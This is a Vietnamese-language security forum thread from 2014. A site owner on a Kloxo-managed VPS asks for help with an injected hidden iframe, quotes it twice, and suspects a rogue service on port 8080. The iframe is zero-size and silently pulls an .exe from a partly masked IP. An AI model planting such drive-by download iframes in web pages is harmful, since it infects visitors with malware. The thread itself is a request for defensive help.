Nhờ phân tích bị nhúng iframe

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận bảo mật

Nhờ phân tích bị nhúng iframe

[Analyzing] Nhờ phân tích bị nhúng iframe	04/08/2014 13:53:19 (+0700) \| #1 \| 281193

akaiito
Member

Joined: 31/12/2010 08:53:58
Messages: 21
Offline

VPS của em sử dụng Kloxo để chia host, bỗng nhiên 1 trang bị trong nội dung phần head luôn có

<iframe src= http://***.38.163:8080/atieclx.exe width=0 height=0></iframe>

làm nó luôn báo down load con này về, mà em đã disable cái host đấy trong kloxo -> hiển thị ra default disable page của kloxo mà vẫn bị nhúng
<iframe src= http://***.38.163:8080/atieclx.exe width=0 height=0></iframe>

em đã xem source code php thì không thây có gì., vậy không biết ai đã gặp trường hợp này không giúp em với, em nghi là bị chèn vào head gì dó của kloxo mà cứ response về là bị có dòng này ???

em cám ơn

[Analyzing] Nhờ phân tích bị nhúng iframe	04/08/2014 14:51:02 (+0700) \| #2 \| 281194

xwm
Member

Joined: 29/08/2011 21:49:17
Messages: 36
Offline

Bạn gửi 1 số site bị chèn lên mình xem thử.

[Analyzing] Nhờ phân tích bị nhúng iframe	04/08/2014 16:44:33 (+0700) \| #3 \| 281195

akaiito
Member

Joined: 31/12/2010 08:53:58
Messages: 21
Offline

Code thì không bị sao anh ạ, nhưng em thấy cổng 8080 tự dưng mở và ra giao diện toàn tiếng tàu khựa. Em đoán là shell nhưng nó chạy hẳn một cái service mở tcpip

[Analyzing] Nhờ phân tích bị nhúng iframe	04/08/2014 17:22:16 (+0700) \| #4 \| 281196

akaiito
Member

Joined: 31/12/2010 08:53:58
Messages: 21
Offline

Xin lỗi , em nhầm vps em ở ip .40 còn cái này ở .163

em đã xoá code đi rồi mà disable kloxo vẫn bị

Go to:

Users currently in here
1 Anonymous